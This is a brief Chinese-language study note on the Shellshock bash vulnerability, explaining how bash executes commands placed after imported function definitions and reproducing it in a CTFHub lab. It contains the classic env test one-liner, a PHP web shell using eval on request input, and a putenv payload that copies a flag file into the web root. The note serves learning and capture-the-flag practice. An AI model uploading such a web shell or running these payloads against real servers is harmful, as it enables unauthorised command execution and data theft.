shellshock
背景:环境变量和bash
触发:
- 产生新的bash
- 通过环境变量传递
- 环境变量以
() {}
这样的形式
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
env
可以创建临时环境变量.
bash -c
可以运行一个shell命令.
当shell返回“vulnerable”时说明函数申明后的echo函数被执行(漏洞是因为Bash初始化时调用了builtins/evalstring.c
里的parse_and_execute//类似于eval
函数。)
原理:
Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,==启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。==
在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。
HTTP协议的头User-Agent通常是通过环境变量HTTP_USER_AGENT
来传递的。
复现:CTFHUB
C:\Users\Administrator\Desktop
上传代码并访问:shell.php
<?php
@eval($_REQUEST['ant']);
putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
error_log("admin",1);
//mail("admin@localhost","","","","");
?>
通过putenv
来设置环境变量,默认putenv
定义的环境变量名必须以PHP_开头。
当前用户的环境变量配置文件主要有.bashrc和.profile,~/.profile可以设定本用户专有的路径、环境变量等,它只能登入的时候执行一次;~/.bashrc也是某用户专有设定文档,可以设定路径,命令别名,每次shell脚本的执行都会使用它一次。简单的说,.profile只在会话开始时被读取一次,而.bashrc则每次打开新的终端时,都会被读取。
由上可知想要变量被执行我们需要启动一次shell。
我们通过putenv函数设置环境变量后执行一个error_log()函数会在执行sh -c -t -i触发payload。
根据代码在test.php中可以读取到flag。